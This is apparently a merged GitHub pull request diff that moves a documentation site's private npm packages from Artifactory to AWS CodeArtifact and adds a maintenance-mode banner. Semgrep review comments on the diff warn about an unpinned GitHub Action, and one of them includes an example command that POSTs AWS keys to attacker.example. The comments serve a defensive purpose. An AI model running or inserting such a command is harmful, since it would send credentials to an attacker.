Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 28 additions & 21 deletions .github/workflows/on-pr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,10 @@ on:
pull_request:
types: ['opened', 'edited', 'reopened', 'synchronize']

permissions:
id-token: write # required for OIDC
contents: read

env:
CONTENTFUL_ACCESS_TOKEN: ${{ secrets.CONTENTFUL_ACCESS_TOKEN }}
NEXTAUTH_SECRET: ${{ secrets.NEXTAUTH_SECRET }}
Expand All @@ -27,13 +31,14 @@ jobs:
node-version: '18'
cache: pnpm
cache-dependency-path: 'pnpm-lock.yaml'
- name: Set .npmrc
run: |
echo "@lg-private:registry=https://artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/" >> .npmrc
echo "//artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/:_auth=${JFROG_AUTH}" >> .npmrc
echo "always-auth=true" >> .npmrc
env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials@v4 uses a mutable tag, so repointing v4 would let attacker-controlled code run in this PR workflow with the provided AWS credentials.

More details about this

Configure AWS credentials pulls aws-actions/configure-aws-credentials from the mutable @v4 tag instead of an exact commit. If the owner of that action, or anyone who compromises that repository, repoints v4 to a different commit, this pull request workflow will run the new code before scripts/login-codeartifact.sh and with access to AWS_CODEARTIFACT_ACCESS_KEY_ID and AWS_CODEARTIFACT_SECRET_ACCESS_KEY.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials action repository and moves the v4 tag to a malicious commit.
  2. A developer opens or updates a pull request, which triggers the on-pr workflow.
  3. The step uses: aws-actions/configure-aws-credentials@v4 downloads and executes the attacker-controlled action code.
  4. That code can read the AWS credentials passed in with.aws-access-key-id and with.aws-secret-access-key, then exfiltrate them with a request such as curl -X POST https://attacker.example/leak -d "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY".
  5. With those stolen credentials, the attacker can authenticate to AWS or CodeArtifact as this workflow and pull private packages or abuse whatever access those keys allow.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA for the exact release you intend to trust, for example aws-actions/configure-aws-credentials@<full-commit-sha>.
  2. Get that SHA from the v4 release in the aws-actions/configure-aws-credentials repository, and make sure you copy the full commit ID, not a short SHA, tag, or branch name.
  3. Keep the existing with: settings unchanged after the uses: update, for example uses: aws-actions/configure-aws-credentials@<40-char-sha>. Pinning to a commit prevents the action owner from silently moving v4 to different code later.
  4. Alternatively, if you need easier upgrades, add a comment next to the pinned SHA noting the human-friendly version it came from, such as # v4.x, while still keeping uses: pinned to the full commit SHA.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
role-to-assume: arn:aws:iam::271346171620:role/aws-codeartifact-design-github-actions
aws-region: us-east-1

- name: Login to CodeArtifact
run: scripts/login-codeartifact.sh

- name: Install Dependencies
run: pnpm install
Expand All @@ -57,13 +62,14 @@ jobs:
cache: pnpm
cache-dependency-path: 'pnpm-lock.yaml'

- name: Set .npmrc
run: |
echo "@lg-private:registry=https://artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/" >> .npmrc
echo "//artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/:_auth=${JFROG_AUTH}" >> .npmrc
echo "always-auth=true" >> .npmrc
env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials is referenced by the mutable v4 tag, so a repointed tag could run attacker code and steal the AWS credentials passed to this step.

More details about this

aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, not a specific commit. In this job, that action receives secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID and secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY, so if the v4 tag were ever repointed to malicious code, the workflow would run the attacker’s version while configuring AWS access.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials release process or gains permission to move the v4 tag.
  2. They repoint v4 to a commit that adds a small credential-stealing step inside the action.
  3. Your Configure AWS credentials step runs uses: aws-actions/configure-aws-credentials@v4, so GitHub fetches the attacker-controlled code automatically.
  4. That code can read the AWS values passed in with: (aws-access-key-id, aws-secret-access-key, and region) and send them to an attacker-controlled server.
  5. With those exact credentials, the attacker can authenticate to AWS or CodeArtifact the same way this workflow does and pull private packages or use any other permissions attached to AWS_CODEARTIFACT_ACCESS_KEY_ID.

Because the reference is a tag, the workflow can change behavior without any diff in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: aws-actions/configure-aws-credentials@v4
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # aws-actions/configure-aws-credentials v4
View step-by-step instructions
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA for the exact release you want to trust, for example aws-actions/configure-aws-credentials@<full-commit-sha>.
  2. Keep the action name the same and change only the ref after @. This prevents the workflow from silently picking up a different action version if the v4 tag is moved later.
  3. Apply the same change to every occurrence of this action in the workflow file, since each uses: entry must be pinned independently.
  4. If you still want easy version upgrades later, add a comment next to the pinned SHA with the human-readable version, such as # aws-actions/configure-aws-credentials v4.x, while keeping the actual uses: value pinned to the full SHA.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
role-to-assume: arn:aws:iam::271346171620:role/aws-codeartifact-design-github-actions
aws-region: us-east-1

- name: Login to CodeArtifact
run: scripts/login-codeartifact.sh

- name: Install Dependencies
run: pnpm install
Expand All @@ -85,13 +91,14 @@ jobs:
cache: pnpm
cache-dependency-path: 'pnpm-lock.yaml'

- name: Set .npmrc
run: |
echo "@lg-private:registry=https://artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/" >> .npmrc
echo "//artifactory.corp.mongodb.com/artifactory/api/npm/leafygreen-ui/:_auth=${JFROG_AUTH}" >> .npmrc
echo "always-auth=true" >> .npmrc
env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials@v4 uses a movable tag, so a repointed action release could run new code and steal the AWS secrets passed into this step.

More details about this

aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, so this workflow will run whatever code the action owner later points v4 to. In this job, that action receives ${{ secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID }} and ${{ secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY }} before scripts/login-codeartifact.sh and pnpm install, so a repointed v4 release could read those secrets and use them to access your AWS CodeArtifact setup.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials release process or maintainer account.
  2. They repoint the v4 tag to a new commit that adds credential-stealing code inside the action.
  3. Your workflow step uses: aws-actions/configure-aws-credentials@v4 automatically runs that new commit on the next build, with aws-access-key-id and aws-secret-access-key passed in from GitHub secrets.
  4. The malicious action sends those values to the attacker, for example with a hidden curl request.
  5. The attacker then uses the stolen AWS key pair to authenticate to the same AWS account resources this workflow uses, such as pulling private packages from CodeArtifact or making other API calls allowed to that IAM user.

Because the reference is @v4 instead of a full 40-character commit SHA, that code change can happen silently without any change to this repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA from the aws-actions/configure-aws-credentials repository, for example aws-actions/configure-aws-credentials@<full-40-char-sha>.
  2. Keep the action name the same and change only the part after @ so the step still uses the same action, just pinned to an immutable revision.
  3. Choose the SHA that corresponds to the v4 release you intend to use, instead of a branch or tag name. Pinning to a commit prevents the action owner from silently changing what code runs later.
  4. Apply the same change to the other Configure AWS credentials step in this workflow if it also uses aws-actions/configure-aws-credentials@v4, so both jobs use the same pinned revision.

Alternatively, if you need easier version upgrades, use a dependency management tool such as Dependabot to update pinned GitHub Action SHAs automatically while still keeping uses: aws-actions/configure-aws-credentials@<full-40-char-sha>.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
role-to-assume: arn:aws:iam::271346171620:role/aws-codeartifact-design-github-actions
aws-region: us-east-1

- name: Login to CodeArtifact
run: scripts/login-codeartifact.sh
- name: Install Dependencies
run: pnpm install
- name: Build NextJS
Expand Down
24 changes: 20 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,14 +1,30 @@
# LeafyDocs

This project depends on private `@lg-private/*` packages, which are hosted in AWS
CodeArtifact. Authenticate once before installing:

```bash
AWS_PROFILE=codeartifact pnpm login:codeartifact
```

Then:

```bash
pnpm install && pnpm dev
```

## 401 Errors
## 401 / 403 Errors

If you encounter 401 errors during `pnpm install`, check the following:
If you encounter auth errors during `pnpm install`, your CodeArtifact token has most
likely expired — they are short-lived. Re-run `pnpm login:codeartifact` and try again.

- Ensure you are logged into Artifactory on your local machine.
- Verify that your `~/.npmrc` file includes the correct credentials and permissions.
If that doesn't help, verify your `~/.npmrc` points `@lg-private` at the CodeArtifact
registry, and that you have read access via
[this MANA group](https://mana.corp.mongodb.com/resources/683f08d01d749c007019a788).

For detailed guidance, refer to the [permissions setup instructions](https://github.com/10gen/leafygreen-ui-private/blob/main/README.md#permissions).

> Artifactory was decommissioned in 2026 — see the
> [migration page](https://wiki.corp.mongodb.com/spaces/DBDEVPROD/pages/314681038/Migration+from+Artifactory+to+AWS+CodeArtifact).
> Any lingering `JFROG_*` credentials or `artifactory.corp.mongodb.com` registry
> entries in your `~/.npmrc` can be removed.
3 changes: 2 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,8 @@
"start": "next start",
"lint": "eslint .",
"lg": "lg",
"update-lg": "node scripts/update.mjs"
"update-lg": "node scripts/update.mjs",
"login:codeartifact": "bash scripts/login-codeartifact.sh"
},
"dependencies": {
"@auth/core": "^0.38.0",
Expand Down
10 changes: 5 additions & 5 deletions pnpm-lock.yaml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

60 changes: 60 additions & 0 deletions scripts/login-codeartifact.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
#!/bin/bash
# Based on https://docs.aws.amazon.com/codeartifact/latest/ug/npm-auth.html#configuring-npm-without-using-the-login-command
#
# Authenticates npm/pnpm against the CodeArtifact repository that hosts our
# @lg-private packages. Artifactory was decommissioned — see
# https://wiki.corp.mongodb.com/spaces/DBDEVPROD/pages/314681038/Migration+from+Artifactory+to+AWS+CodeArtifact
#
# In CI, AWS credentials come from the environment (see .github/workflows/on-pr.yml).
# Locally, run against the `codeartifact` AWS SSO profile:
# AWS_PROFILE=codeartifact pnpm login:codeartifact

set -euo pipefail

DOMAIN="mongodb"
DOMAIN_OWNER="271346171620"
REPOSITORY="leafygreen-ui"
SCOPE="@lg-private"

if ! command -v aws &> /dev/null; then
echo "Error: aws CLI is not installed or not in PATH"
exit 1
fi

# Outside CI, refresh SSO credentials first. In CI the workflow supplies static
# credentials and `aws sso login` would fail (no browser).
if [ -z "${CI:-}" ] && [ -n "${AWS_PROFILE:-}" ]; then
echo "Logging into AWS SSO with profile $AWS_PROFILE..."
aws sso login --profile "$AWS_PROFILE"
fi

echo "Logging into CodeArtifact repository $REPOSITORY..."

CODEARTIFACT_AUTH_TOKEN=$(aws codeartifact get-authorization-token --domain $DOMAIN --domain-owner $DOMAIN_OWNER --query authorizationToken --output text)

if [ -z "$CODEARTIFACT_AUTH_TOKEN" ] || [ "$CODEARTIFACT_AUTH_TOKEN" == "None" ]; then
echo "Failed to retrieve authorization token from AWS"
echo "Ensure your AWS profile is configured correctly and has access to CodeArtifact."
echo "Login to AWS in Okta to get current credentials: https://corp.mongodb.com/"
exit 1
fi

CODEARTIFACT_ENDPOINT_JSON=$(aws codeartifact get-repository-endpoint --domain $DOMAIN --domain-owner $DOMAIN_OWNER --repository $REPOSITORY --format npm)
CODEARTIFACT_REGISTRY=$(echo "$CODEARTIFACT_ENDPOINT_JSON" | jq -r '.repositoryEndpoint')

if [ -z "$CODEARTIFACT_REGISTRY" ] || [ "$CODEARTIFACT_REGISTRY" == "null" ]; then
echo "Error: Failed to extract repository endpoint from AWS response"
exit 1
fi

# npm config keys are the registry URL without the scheme
CODEARTIFACT_REGISTRY_URI=$(echo "$CODEARTIFACT_REGISTRY" | sed 's|^https:||')

echo "CodeArtifact Endpoint: $CODEARTIFACT_REGISTRY"

npm config set "$SCOPE:registry=$CODEARTIFACT_REGISTRY"
npm config set "$CODEARTIFACT_REGISTRY_URI:_authToken=$CODEARTIFACT_AUTH_TOKEN"

npm ping --registry="$CODEARTIFACT_REGISTRY"

echo "✅ Successfully logged into CodeArtifact repository"
2 changes: 2 additions & 0 deletions src/app/template.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ import {
Footer,
UserMenu,
SideNavigation,
ViaAnnouncementBanner,
} from '@/components/global';
import { useMediaQuery } from '@/hooks';
import { SIDE_NAV_WIDTH } from '@/constants';
Expand Down Expand Up @@ -63,6 +64,7 @@ export default function Template({ children }: { children: React.ReactNode }) {
`,
)}
>
<ViaAnnouncementBanner />
{children}
<Footer />
</div>
Expand Down
52 changes: 52 additions & 0 deletions src/components/global/ViaAnnouncementBanner.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
'use client';

import React, { useEffect, useState } from 'react';
import { css } from '@emotion/css';
import Banner from '@leafygreen-ui/banner';
import { Link } from '@leafygreen-ui/typography';
import { spacing } from '@leafygreen-ui/tokens';

const VIA_STORYBOOK_URL =
'https://via-storybook.ux-foundations.prod.corp.mongodb.com/';
const DISMISSED_KEY = 'viaAnnouncementDismissed';

export function ViaAnnouncementBanner() {
const [dismissed, setDismissed] = useState(true);

useEffect(() => {
setDismissed(localStorage.getItem(DISMISSED_KEY) === 'true');
}, []);
Comment on lines +16 to +18

if (dismissed) {
return null;
}

return (
<Banner
variant="warning"
dismissible
onClose={() => {
localStorage.setItem(DISMISSED_KEY, 'true');
setDismissed(true);
}}
className={css`
margin-bottom: ${spacing[400]}px;
`}
>
<div
className={css`
font-weight: bold;
`}
>
IMPORTANT
</div>
LeafyGreen design system is now in maintenance mode.
<br />
For new MongoDB products and features, please use{' '}
<Link href={VIA_STORYBOOK_URL} target="_blank" rel="noopener noreferrer" hideExternalIcon>
Via
</Link>
.
</Banner>
);
}
1 change: 1 addition & 0 deletions src/components/global/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,4 @@ export { Search } from './Search/Search';
export { SideNavigation } from './SideNavigation';
export { UserMenu } from './UserMenu';
export { PrivateContentWall } from './PrivateContentWall';
export { ViaAnnouncementBanner } from './ViaAnnouncementBanner';
Loading